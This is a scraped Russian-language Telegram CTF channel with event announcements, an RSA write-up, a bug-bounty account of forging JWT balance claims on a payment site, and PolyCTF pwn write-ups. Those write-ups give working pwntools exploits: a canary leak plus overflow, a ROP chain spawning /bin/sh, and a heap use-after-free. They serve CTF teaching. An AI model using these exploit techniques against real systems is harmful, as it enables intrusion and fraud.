Forwarded from Капибары и CTF 🏆
Доброе утро!
Эта неделя оказалась насыщенной на события, после чего нас ждет небольшая пауза до 7 февраля. Поэтому не упустите шанс принять участие! Уже сегодня стартует KnightCTF — самое ожидаемое событие этой недели по версии пользователей CTFTime 🏆
Кстати, ребята из Кибербезопасность CTF активно приглашают всех на Remedy CTF 2025😘 . Если у вас пока нет команды, мы настоятельно рекомендуем присоединиться к ним. Отличный шанс попробовать свои силы и найти единомышленников! 💪
Удачи в поиске флагов! 🏴☠️✨
❗️ KnightCTF 2025
❗️ Remedy CTF 2025
⏺ x3CTF 2025
⏺ HackDay 2025
⏺ Dreamhack CTF Season 7 Round #2 (Div. 2)
#CTF #Анонс #Планы #Календарь
Эта неделя оказалась насыщенной на события, после чего нас ждет небольшая пауза до 7 февраля. Поэтому не упустите шанс принять участие! Уже сегодня стартует KnightCTF — самое ожидаемое событие этой недели по версии пользователей CTFTime 🏆
Кстати, ребята из Кибербезопасность CTF активно приглашают всех на Remedy CTF 2025
Удачи в поиске флагов! 🏴☠️
Время: 20/01 18:00 — 21/01 18:00
Профиль на CTFTime
Подробнее
Рейтинг: 18,78
Особенности: орги молодцы. На базе CTFd сделали очень яркий дизайн. Рассчитана как на профи, так и на новичков. Куча призов (IDA, Hex-Rays, ваучеры на обучение и многое другое).
Как результат уже более 500 заявок на участие 😁 В общем стоит попробовать. Единственное, что подкачало это время проведение 😁🤷♂️
Время: 24/01 15:00 — 26/01 15:00
Профиль на CTFTime
Подробнее
Рейтинг: будет определен позднее
Особенности: 48 часов драйва, с упором на Web3 задачи👍
Время: 24/01 21:00 — 26/01 21:00
Профиль на CTFTime
Подробнее
Рейтинг: будет определен позднее
Особенности: CTF проводится в первый раз. Позиционируется как небольшой классический jeopardy. Организуют ребята с команды x3, а вот домен у них в зоне Французских Южных и Антарктических территорий 😁
Время: 24/01 23:00 — 26/01 23:00
Профиль на CTFTime
Подробнее
Рейтинг: будет определен позднее
Особенности: отбор среди французских студентов на Hackday. Участвовать могут все (как студенты 😁). Но в финал пройдут только французы
Время: 25/01 03:00 — 25/01 18:00
Профиль на CTFTime
Подробнее
Рейтинг: 0
Особенности: индивидуальное участие. 15 часов. Криптография
#CTF #Анонс #Планы #Календарь
Please open Telegram to view this post
VIEW IN TELEGRAM
Telegram
Кибербезопасность CTF
Площадка для развития тебя как специалиста по Кибербезопасности.
Постоянно публикуем графики CTF по всему миру.
Общение на тему прохождения CTF, белого пентеста, легитимную проверку инфраструктуры 🙃
По всем вопросам - @Oleh_C
CTF - @onlynet0, @DRAK0NN
Постоянно публикуем графики CTF по всему миру.
Общение на тему прохождения CTF, белого пентеста, легитимную проверку инфраструктуры 🙃
По всем вопросам - @Oleh_C
CTF - @onlynet0, @DRAK0NN
❤6😁2
#googlectf #writeup #crypto
Redacted RSA 1 от @Max_RSC
Всем привет! Я планирую написать серию разборов задач по криптографии от Google CTF. Вкратце, суть заключается в том, что в каждой последующей задачке приватный ключ становится все более поврежденным. В Redacted RSA 1 нам предоставляется значение d, тогда как в Redacted RSA 2 извлечь d становится невозможно из-за сильного повреждения ключа. Тем не менее, значение d все еще можно рассчитать. Но давайте вернемся к первой, самой простой задачке этой серии.
В первом случае у нас есть часть приватного ключа, которая содержит не только значения открытого ключа (n и e), но и значение приватной экспоненты (d), то есть все необходимые данные для расшифровки. Основная сложность, с которой сталкиваются новички, заключается в том, что они не знают, как извлечь эти значения. Простым и доступным способом решения этой проблемы является использование онлайн-сервиса, такого как:
https://lapo.it/asn1js
Однако, чтобы ключ был правильно прочитан этим сервисом, необходимо выполнить несколько шагов. Во-первых, откройте приватный ключ в любом текстовом редакторе и замените все звездочки (*) на символы, допустимые в base64 (например, на «A»). После этого файл можно загрузить на сервис, который корректно интерпретирует данные. Если при попытке загрузить ключ на сервис возникла ошибка с сообщением наподобие "Error: Content size is not correct for container at offset 6", это означает, что вы что-то сделали не так.
В результате, загрузив наш поврежденный приватный ключ на сервис, мы увидели, что он все еще достаточно целостен, чтобы расшифровать шифртекст: значения n и d сохранились в полном объеме!
Я сделаю небольшое пояснение для новичков о значениях, которые мы рассматриваем:
• modulus (n) – это модуль. Обычно в задачах на RSA значение n предоставляется. В данном случае n представляет собой длинную строку, начинающуюся с 641646.
• publicExponent (e) – это публичная экспонента. В большинстве случаев она равна 65537, что является стандартом. Пара значений n и e в их совокупности образует открытый ключ.
• privateExponent (d) – это приватная экспонента. Закрытый (приватный) ключ формируется из пары значений d и n. Именно закрытый ключ используется для расшифровки зашифрованного текста. В большинстве задач по RSA необходимо рассчитать или каким-то образом получить значение d. В Redacted RSA 1 d уже известно.
• prime1 (p) – это первый фактор. В этой задачке значение p невозможно извлечь из-за повреждения приватного ключа, но нам это не нужно, так как у нас есть d.
• prime2 (q) – это второй фактор. Произведение первого и второго факторов дает значение n. Аналогично, значение q невозможно извлечь, но это нам не нужно, так как у нас есть d.
Чтобы скопировать конкретное значение с данного сервиса, необходимо щелкнуть по нему левой кнопкой мыши и выбрать опцию "Сopy value".
Еще одной распространенной проблемой, с которой сталкиваются новички, является то, что они не знают, как перевести шифртекст в десятичный формат (base10). В контексте RSA мы обычно работаем с целыми числами. На мой взгляд, наиболее быстрым и доступным способом будет использование языков программирования, например, Python:
Теперь остается только расшифровать флаг. Авторы задачки предлагают использовать команду OpenSSL, однако у новичков это может вызвать трудности. На соревнованиях имеет смысл потратить время более эффективно, вместо того чтобы вспоминать, какая именно команда нужна для расшифровки. Поэтому проще воспользоваться сервисом dCode:
1. Идем на https://dcode.fr/rsa-cipher и вводим значения n, c, e, d в соответствующие поля.
2. Нажимаем кнопку "CALCULATE/DECRYPT" для выполнения расшифровки.
Хотел бы добавить, что задачка по-прежнему доступна для решения, и вы можете повторить описанные шаги.
Redacted RSA 1 от @Max_RSC
Всем привет! Я планирую написать серию разборов задач по криптографии от Google CTF. Вкратце, суть заключается в том, что в каждой последующей задачке приватный ключ становится все более поврежденным. В Redacted RSA 1 нам предоставляется значение d, тогда как в Redacted RSA 2 извлечь d становится невозможно из-за сильного повреждения ключа. Тем не менее, значение d все еще можно рассчитать. Но давайте вернемся к первой, самой простой задачке этой серии.
В первом случае у нас есть часть приватного ключа, которая содержит не только значения открытого ключа (n и e), но и значение приватной экспоненты (d), то есть все необходимые данные для расшифровки. Основная сложность, с которой сталкиваются новички, заключается в том, что они не знают, как извлечь эти значения. Простым и доступным способом решения этой проблемы является использование онлайн-сервиса, такого как:
https://lapo.it/asn1js
Однако, чтобы ключ был правильно прочитан этим сервисом, необходимо выполнить несколько шагов. Во-первых, откройте приватный ключ в любом текстовом редакторе и замените все звездочки (*) на символы, допустимые в base64 (например, на «A»). После этого файл можно загрузить на сервис, который корректно интерпретирует данные. Если при попытке загрузить ключ на сервис возникла ошибка с сообщением наподобие "Error: Content size is not correct for container at offset 6", это означает, что вы что-то сделали не так.
В результате, загрузив наш поврежденный приватный ключ на сервис, мы увидели, что он все еще достаточно целостен, чтобы расшифровать шифртекст: значения n и d сохранились в полном объеме!
Я сделаю небольшое пояснение для новичков о значениях, которые мы рассматриваем:
• modulus (n) – это модуль. Обычно в задачах на RSA значение n предоставляется. В данном случае n представляет собой длинную строку, начинающуюся с 641646.
• publicExponent (e) – это публичная экспонента. В большинстве случаев она равна 65537, что является стандартом. Пара значений n и e в их совокупности образует открытый ключ.
• privateExponent (d) – это приватная экспонента. Закрытый (приватный) ключ формируется из пары значений d и n. Именно закрытый ключ используется для расшифровки зашифрованного текста. В большинстве задач по RSA необходимо рассчитать или каким-то образом получить значение d. В Redacted RSA 1 d уже известно.
• prime1 (p) – это первый фактор. В этой задачке значение p невозможно извлечь из-за повреждения приватного ключа, но нам это не нужно, так как у нас есть d.
• prime2 (q) – это второй фактор. Произведение первого и второго факторов дает значение n. Аналогично, значение q невозможно извлечь, но это нам не нужно, так как у нас есть d.
Чтобы скопировать конкретное значение с данного сервиса, необходимо щелкнуть по нему левой кнопкой мыши и выбрать опцию "Сopy value".
Еще одной распространенной проблемой, с которой сталкиваются новички, является то, что они не знают, как перевести шифртекст в десятичный формат (base10). В контексте RSA мы обычно работаем с целыми числами. На мой взгляд, наиболее быстрым и доступным способом будет использование языков программирования, например, Python:
# Открываем файл
with open('encrypted.txt', 'rb') as file:
byte_data = file.read() # Читаем содержимое файла как байты
# Преобразуем байты в base10
encoded = int.from_bytes(byte_data, 'big')
# Выводим результат
print(encoded)
Теперь остается только расшифровать флаг. Авторы задачки предлагают использовать команду OpenSSL, однако у новичков это может вызвать трудности. На соревнованиях имеет смысл потратить время более эффективно, вместо того чтобы вспоминать, какая именно команда нужна для расшифровки. Поэтому проще воспользоваться сервисом dCode:
1. Идем на https://dcode.fr/rsa-cipher и вводим значения n, c, e, d в соответствующие поля.
2. Нажимаем кнопку "CALCULATE/DECRYPT" для выполнения расшифровки.
Хотел бы добавить, что задачка по-прежнему доступна для решения, и вы можете повторить описанные шаги.
2👍12❤8🔥4🐳1
Наш дорогой @while_not_False решил поделиться отчетом о том, как он нашел уязвимость в платежном агрегаторе и как развивались события после этого.
***
Уязвимость: небезопасное использование JWT-токена в ПА.
В день рождения моего товарища я решил сделать ему подарок в виде лицензии на Minecraft. Я перешел в бота, выбрал товар, после чего был перенаправлен на сайт (картинка 1, самодельный платежный агрегатор), где в URL-строке заметил JWT-токен. Мне стало интересно проверить, насколько тщательно разработчики позаботились о безопасности, и я загрузил токен на jwt.io (картинка 2). Затем я изменил параметры баланса на "Made by Redst0uner", и на сайте отобразился измененный баланс:
Я связался с официальным контактным лицом этой организации и сообщил о выявленной уязвимости. Организация признала наличие проблемы, и в результате нашего общения мне было выплачено относительно небольшое, но приятное вознаграждение в рамках программы баг-баунти.
Автор: @while_not_False
Edited by: @Max_RSC
***
Уязвимость: небезопасное использование JWT-токена в ПА.
В день рождения моего товарища я решил сделать ему подарок в виде лицензии на Minecraft. Я перешел в бота, выбрал товар, после чего был перенаправлен на сайт (картинка 1, самодельный платежный агрегатор), где в URL-строке заметил JWT-токен. Мне стало интересно проверить, насколько тщательно разработчики позаботились о безопасности, и я загрузил токен на jwt.io (картинка 2). Затем я изменил параметры баланса на "Made by Redst0uner", и на сайте отобразился измененный баланс:
Made by Redst0uner
Я связался с официальным контактным лицом этой организации и сообщил о выявленной уязвимости. Организация признала наличие проблемы, и в результате нашего общения мне было выплачено относительно небольшое, но приятное вознаграждение в рамках программы баг-баунти.
Автор: @while_not_False
Edited by: @Max_RSC
🤣23👍9❤7🤔1
Ребятки
Так как я за бугром, то могу отправлять кучу товаров из США в любую точку мира или в РФ через Казахстан или удобным вам способом
Если что, пишите мне @freenameruuuu
Так как я за бугром, то могу отправлять кучу товаров из США в любую точку мира или в РФ через Казахстан или удобным вам способом
Если что, пишите мне @freenameruuuu
🔥11🤣4🖕1🎄1
Forwarded from OFFZONE
Смотрите весь плейлист по ссылке.
А если вам и без YouTube хорошо, напоминаем, что записи есть в VK Видео.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍9🥱1
Forwarded from PolyCTF
Последний шанс зарегистрироваться! ⏳
Ровно через 24 часа стартует PolyWinterCTF 2025 — твоя возможность проверить свои навыки, посоревноваться с лучшими и выиграть крутые призы от наших партнеров: ВШПИ и CyberED!
➡️ СКОРЕЕ РЕГИСТРИРУЙТЕСЬ 👈
🗓 Когда: 12:00 8 февраля — 12:00 9 февраля
🤝 Кто: Ты и твоя команда (до 5 человек)
🎯 Формат: Task-based CTF
Ваш PolyCTF👾
Ровно через 24 часа стартует PolyWinterCTF 2025 — твоя возможность проверить свои навыки, посоревноваться с лучшими и выиграть крутые призы от наших партнеров: ВШПИ и CyberED!
Ваш PolyCTF
Please open Telegram to view this post
VIEW IN TELEGRAM
❤7
Forwarded from PolyCTF
PolyWinterCTF 2025 — ПОЕХАЛИ! 🚀
Старт дан! Соревнования PolyWinterCTF 2025 официально начались! Проверяйте свои навыки, сражайтесь с лучшими командами и боритесь за призы.
Удачи всем участникам! Пусть победит сильнейший!💪
➡️ СКОРЕЕ НАЧИНАТЕ 👈
🗓 Когда: сейчас — 12:00 9 февраля
🤝 Кто: Ты и твоя команда (до 5 человек)
🎯 Формат: Task-based CTF
🏆 PolyCTF{7h3_f1r57_fl46!}
Ваш PolyCTF👾
Старт дан! Соревнования PolyWinterCTF 2025 официально начались! Проверяйте свои навыки, сражайтесь с лучшими командами и боритесь за призы.
Удачи всем участникам! Пусть победит сильнейший!
Ваш PolyCTF
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥6👍1
#pwn
PolyCTF. Write-up "upcoming_flight" от @wcovkej
Первым делом смотрим наш файл через checksec и понимаем, что PIE выключен, зато есть канарейка.
Чтобы получить флаг, нам нужен билет, но получить мы его не можем. Посмотрим код программы внимательнее и увидим, что в нем есть две уязвимости: Форматная строка и переполнение буфера (использование небезопасной функции gets)
В функции print_ticket c помощью printf сможем ликнуть канарейку, а дальше уже переполнить буфер и вызвать функциию arrive, только не с начала, а прямо с строки system("cat flag");
Окей, погнали писать сплоит:
Круто! Получаем флаг:PolyCTF{иди решай, хитрец} и идем пить чай :)
PolyCTF. Write-up "upcoming_flight" от @wcovkej
Первым делом смотрим наш файл через checksec и понимаем, что PIE выключен, зато есть канарейка.
Чтобы получить флаг, нам нужен билет, но получить мы его не можем. Посмотрим код программы внимательнее и увидим, что в нем есть две уязвимости: Форматная строка и переполнение буфера (использование небезопасной функции gets)
В функции print_ticket c помощью printf сможем ликнуть канарейку, а дальше уже переполнить буфер и вызвать функциию arrive, только не с начала, а прямо с строки system("cat flag");
Окей, погнали писать сплоит:
from pwn import *
io = remote('tasks.polyctf.ru', 30007)
addr_win = 0x40136D #Адрес строки system("cat flag")
io.recvuntil(b'> ')
io.sendline(b'2') #Вызываем функцию print_ticket
io.recvuntil(b': ')
io.sendline(b'%15$p') #Вместо ФИО отправляем форматную строку, которая выдаст нам канарейку
io.recvuntil(b': ')
canary = int(io.recvline()[:-1], 16)
print("[DEBUG] >>> Canary leak: ", hex(canary))
io.recvuntil(b': ') #Далее, вместо посадочного талона, засылаем наш сплоит
pl = b'A' * 40 # Падинг. Переполняем буфер
pl += p64(canary) # Засылаем канарейку, чтобы программа не выдала нам ошибку
pl += b'B' * 8 # RBP
pl += p64(addr_win)
io.sendline(pl)
io.interactive()
Круто! Получаем флаг:
❤27👍2
exploit.py
1.1 KB
#pwn
PolyCTF. Write-up "Luxury" от @wcovkej
Итак, первым делом проверим наш файл через checksec:
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY
Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 49 Symbols No
Канарейки нет, уже хорошо, но зато включен PIE, значит адреса функций каждый раз разные. Запомним.
Теперь кратко разберем, как работает программа:
1) Просит ввести пароль и логин. В данном случае логин - admin, пароль - V3rY_sTroNg_p1ss
2) Как только мы залогинились, у нас доступен основной функционал: вывод адресов функций, в том числе и функции login.
Если мы хорошо посмотрим, то в функции login есть переполнение буфера, а именно на вводе пароля. Массив под пароль 32 байта, а вводим мы 112. Также через ropper узнаем, что в таске есть аж целых 5 гаджетов! pop (rdi, rsi, rdx, rax), а также syscall. Интересно, но что дальше?
Наша цель - вызвать /bin/sh. Для этого нам нужно построить ROP цепочку: загрузить в rax число 0x3b (execve), в rdi адрес строки /bin/sh, rsi и rdx занулить, вызвать syscall ===> получаем шелл! Но не всё так просто :)
Во-первых, мы не знаем точных адресов гаджетов (включен PIE), во-вторых, в коде нет строки /bin/sh, поэтому нам нужно взять ее из libc, а для этого нужно ее ликнуть.
Эксплоит я отправлю отдельно файлом, здесь я вкратце распишу его алгоритм:
1) Логинимся, далее получаем адрес printf, puts, fgets и идем в libc.blukat.me, вбиваем все три функции, указываем последние три символа адресов и находим версию LIBC. Таким образом мы определили точную версию либы и теперь знаем все смещения. Прибавляем к адресу printf число 0x143a81 и получаем адрес строки /bin/sh.
2) Далее нам нужно узнать адреса гаджетов. Для этого получаем адрес функции login и вычитаем его оффсет, который взяли из IDA. Вычитаем 0x1179 и получаем адрес базы программы. Теперь вычисляем адреса для всех 5 гаджетов:
pop_rdi = base_addr + 0x1460
pop_rax = base_addr + 0x1464
pop_rsi = base_addr + 0x1462
pop_rdx = base_addr + 0x1468
syscall = base_addr + 0x1466
3) Всё готово! Теперь составляем пейлоад и отправляем серваку:
pl = b'A' * 40
pl += p64(pop_rax)
pl += p64(0x3b)
pl += p64(pop_rdi)
pl += p64(binsh_addr)
pl += p64(pop_rdx)
pl += p64(0)
pl += p64(pop_rsi)
pl += p64(0)
pl += p64(syscall)
Получаем шелл и читаем флаг. Nice!
PolyCTF. Write-up "Luxury" от @wcovkej
Итак, первым делом проверим наш файл через checksec:
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY
Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 49 Symbols No
Канарейки нет, уже хорошо, но зато включен PIE, значит адреса функций каждый раз разные. Запомним.
Теперь кратко разберем, как работает программа:
1) Просит ввести пароль и логин. В данном случае логин - admin, пароль - V3rY_sTroNg_p1ss
2) Как только мы залогинились, у нас доступен основной функционал: вывод адресов функций, в том числе и функции login.
Если мы хорошо посмотрим, то в функции login есть переполнение буфера, а именно на вводе пароля. Массив под пароль 32 байта, а вводим мы 112. Также через ropper узнаем, что в таске есть аж целых 5 гаджетов! pop (rdi, rsi, rdx, rax), а также syscall. Интересно, но что дальше?
Наша цель - вызвать /bin/sh. Для этого нам нужно построить ROP цепочку: загрузить в rax число 0x3b (execve), в rdi адрес строки /bin/sh, rsi и rdx занулить, вызвать syscall ===> получаем шелл! Но не всё так просто :)
Во-первых, мы не знаем точных адресов гаджетов (включен PIE), во-вторых, в коде нет строки /bin/sh, поэтому нам нужно взять ее из libc, а для этого нужно ее ликнуть.
Эксплоит я отправлю отдельно файлом, здесь я вкратце распишу его алгоритм:
1) Логинимся, далее получаем адрес printf, puts, fgets и идем в libc.blukat.me, вбиваем все три функции, указываем последние три символа адресов и находим версию LIBC. Таким образом мы определили точную версию либы и теперь знаем все смещения. Прибавляем к адресу printf число 0x143a81 и получаем адрес строки /bin/sh.
2) Далее нам нужно узнать адреса гаджетов. Для этого получаем адрес функции login и вычитаем его оффсет, который взяли из IDA. Вычитаем 0x1179 и получаем адрес базы программы. Теперь вычисляем адреса для всех 5 гаджетов:
pop_rdi = base_addr + 0x1460
pop_rax = base_addr + 0x1464
pop_rsi = base_addr + 0x1462
pop_rdx = base_addr + 0x1468
syscall = base_addr + 0x1466
3) Всё готово! Теперь составляем пейлоад и отправляем серваку:
pl = b'A' * 40
pl += p64(pop_rax)
pl += p64(0x3b)
pl += p64(pop_rdi)
pl += p64(binsh_addr)
pl += p64(pop_rdx)
pl += p64(0)
pl += p64(pop_rsi)
pl += p64(0)
pl += p64(syscall)
Получаем шелл и читаем флаг. Nice!
❤10
writeup.md
3.7 KB
#pwn
PolyCTF. Write-up "hotel" от @tonysdx
Задача на эксплуатацию хипы, а именно UAF и Type Confusion.
Зайдя в таск и немного пореверсив, мы обнаруживаем, что у нас есть следующая структура:
В функциях регистрации и логина уязвимостей нет (разве что введя 128-байтовый пароль, мы можем переписать первый байт логина на 0, но это нам ничего не даст), копаем дальше.
Также есть функция read_secret, при вызове которой проверяется, что some_number у curr_user равен 31337. Легально мы получить такое значение не можем, поэтому надо эксплуатировать чанки.
Главная уязвимость кроется в функции delete_user. Суть в том, что для пользователя выделяется чанк, размером в 40 байт. Однако при удалении, мы не выходим из аккаунта и поинтер curr_user после освобождения при помощи free указывает на освобожденный чанк.
Просмотрев код далее мы находим, что в функции write_msg мы можем контролировать размер выделяемого под сообщение чанка, что открывает возможность для эксплуатации ранее найденной уязвимости. Суть в том, что на месте освобожденного чанка при следующем вызове malloc будет аллоцирован новый чанк, если там будет достаточно места. В нашем случае, освобождая чанк размером в 40 байт, мы можем аллоцировать чанк сообщения с таким же размером (чтобы места точно хватило), и тогда curr_user будет указывать на новый чанк сообщения, данные внутри которого мы контролируем. То есть в теле сообщения мы можем создать фейковую структуру пользователя, у которого some_number будет равен 31337.
Алгоритм следующий:
1) Регистрируемся и заходим в аккаунт
2) Удаляем пользователя
3) Создаем сообщение размером в 40 байт (такое же по размеру, как и чанк пользователя)
4) В сообщении создаем структуру пользователя, у которого some_number равен 31337
5) Вызываем скрытый 5 пункт меню, проходим проверку и получаем флаг
Пример сплоита:
PolyCTF. Write-up "hotel" от @tonysdx
Задача на эксплуатацию хипы, а именно UAF и Type Confusion.
Зайдя в таск и немного пореверсив, мы обнаруживаем, что у нас есть следующая структура:
struct user
{
char gap[16];
long some_number;
char *login;
char *password;
};
В функциях регистрации и логина уязвимостей нет (разве что введя 128-байтовый пароль, мы можем переписать первый байт логина на 0, но это нам ничего не даст), копаем дальше.
Также есть функция read_secret, при вызове которой проверяется, что some_number у curr_user равен 31337. Легально мы получить такое значение не можем, поэтому надо эксплуатировать чанки.
Главная уязвимость кроется в функции delete_user. Суть в том, что для пользователя выделяется чанк, размером в 40 байт. Однако при удалении, мы не выходим из аккаунта и поинтер curr_user после освобождения при помощи free указывает на освобожденный чанк.
Просмотрев код далее мы находим, что в функции write_msg мы можем контролировать размер выделяемого под сообщение чанка, что открывает возможность для эксплуатации ранее найденной уязвимости. Суть в том, что на месте освобожденного чанка при следующем вызове malloc будет аллоцирован новый чанк, если там будет достаточно места. В нашем случае, освобождая чанк размером в 40 байт, мы можем аллоцировать чанк сообщения с таким же размером (чтобы места точно хватило), и тогда curr_user будет указывать на новый чанк сообщения, данные внутри которого мы контролируем. То есть в теле сообщения мы можем создать фейковую структуру пользователя, у которого some_number будет равен 31337.
Алгоритм следующий:
1) Регистрируемся и заходим в аккаунт
2) Удаляем пользователя
3) Создаем сообщение размером в 40 байт (такое же по размеру, как и чанк пользователя)
4) В сообщении создаем структуру пользователя, у которого some_number равен 31337
5) Вызываем скрытый 5 пункт меню, проходим проверку и получаем флаг
Пример сплоита:
io = remote("host", port)
def choice(index: int):
io.sendlineafter(b"> ", b"%d" % index)
# Register
choice(2)
io.sendlineafter(b": ", b"h4ck3r")
io.sendlineafter(b": ", b"h4ck3r")
# Login
choice(1)
io.sendlineafter(b": ", b"h4ck3r")
io.sendlineafter(b": ", b"h4ck3r")
# Delete user
choice(3)
# Create message with size as user
user_struct = flat({
0: b"chill guy",
16: p64(31337)
})
choice(1)
io.sendlineafter(b": ", b"40")
io.sendlineafter(b": ", user_struct)
# Secret read flag
choice(5)
io.interactive()❤13
drawing.wav
172.3 KB
#stegano
Сигнал из атомов
15 декабря 3479 года было синтезировано вещество, способное излучать звуковые сигналы, которые, по всей видимости, содержат скрытое сообщение. Нам удалось записать часть этих сигналов.
Формат флага: KFCctf{...}
Автор: @while_not_False
Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
Сигнал из атомов
15 декабря 3479 года было синтезировано вещество, способное излучать звуковые сигналы, которые, по всей видимости, содержат скрытое сообщение. Нам удалось записать часть этих сигналов.
Формат флага: KFCctf{...}
Автор: @while_not_False
Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
❤5🔥1🗿1
task.py
4.7 KB
#misc
КОД-ДНК
Просто еще один инструмент для обфускации кода :)
Формат флага: KFCctf{}
Хинт:
Автор: @while_not_False
Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
КОД-ДНК
Просто еще один инструмент для обфускации кода :)
Формат флага: KFCctf{}
Хинт:
AA-0
AC-1
...
TT-F
Автор: @while_not_False
Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
👍4🗿3💊3❤1🙊1
Убрали новогодние таски из бота. Четыре из них были перенесены в раздел основных тасков платформы:
• Дерево Санты
• Сообщение от Санты
• Караоке
• Santa Game
Флаги для этих тасков остались прежними, и вы можете сдать их повторно, чтобы заработать баллы!
• Дерево Санты
• Сообщение от Санты
• Караоке
• Santa Game
Флаги для этих тасков остались прежними, и вы можете сдать их повторно, чтобы заработать баллы!
❤5
Forwarded from PolyCTF
Друзья, рады поделиться райтапами с прошедшего PolyWinterCTF!
🔗 Ссылка на райтапы
Спасибо всем участникам и до встречи на следующих соревнованиях!
Please open Telegram to view this post
VIEW IN TELEGRAM
❤9
PolyCTF
А вот и долгожданные райтапы с PolyWinterCTF 2025 от самих организаторов! Делитесь в комментариях, какое место вы заняли.
❤6
Вы все такие классные
Как мне с вами всеми повезло❤️
Как мне с вами всеми повезло
Please open Telegram to view this post
VIEW IN TELEGRAM
❤🔥14🥰7❤5😁2💯1
Продолжаем рубрику #делимсятасками
@Max_RSC в нашем уютном чате поделился интересным таском с замечательной платформы DECIPHER, и двое человек уже успели его решить. К сожалению, многие подписчики нашего канала не увидели этот таск, давайте это исправим!
Мы сделали выводы из предыдущего опыта и на этот раз предусмотрительно изменили название таски, поскольку в тот раз вместо криптоаналитиков пришли осинтеры и наосинтили райтап.
#crypto
1 Key Strategy for 26 Days of Transformation
9 111 55555555 33 00 55555555 9 11111 11 77777 333333333 888 1 11 55 4 5555555 9
Хинт: Название таска – это попытка автора намекнуть на что-то.
Присылайте решение @Max_RSC
Не забываем также решать предыдущее задание в этой рубрике!
@Max_RSC в нашем уютном чате поделился интересным таском с замечательной платформы DECIPHER, и двое человек уже успели его решить. К сожалению, многие подписчики нашего канала не увидели этот таск, давайте это исправим!
Мы сделали выводы из предыдущего опыта и на этот раз предусмотрительно изменили название таски, поскольку в тот раз вместо криптоаналитиков пришли осинтеры и наосинтили райтап.
#crypto
1 Key Strategy for 26 Days of Transformation
9 111 55555555 33 00 55555555 9 11111 11 77777 333333333 888 1 11 55 4 5555555 9
Хинт: Название таска – это попытка автора намекнуть на что-то.
Присылайте решение @Max_RSC
Не забываем также решать предыдущее задание в этой рубрике!
❤10👍2